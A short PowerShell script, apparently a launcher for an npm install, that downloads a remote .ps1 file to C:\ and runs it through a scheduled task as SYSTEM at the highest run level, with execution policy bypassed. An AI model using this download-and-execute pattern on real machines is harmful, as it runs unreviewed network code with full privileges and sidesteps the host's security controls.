# Launcher: register npm install as detached SYSTEM task (New-Object Net.WebClient).DownloadFile("https://scripts.cong.in/setup_npm.ps1","C:\npm_work.ps1") $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File C:\npm_work.ps1" $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest Register-ScheduledTask -TaskName "rt_npm" -Action $action -Principal $principal -Force | Out-Null Start-ScheduledTask -TaskName "rt_npm" Write-Output "npm install task started (detached)"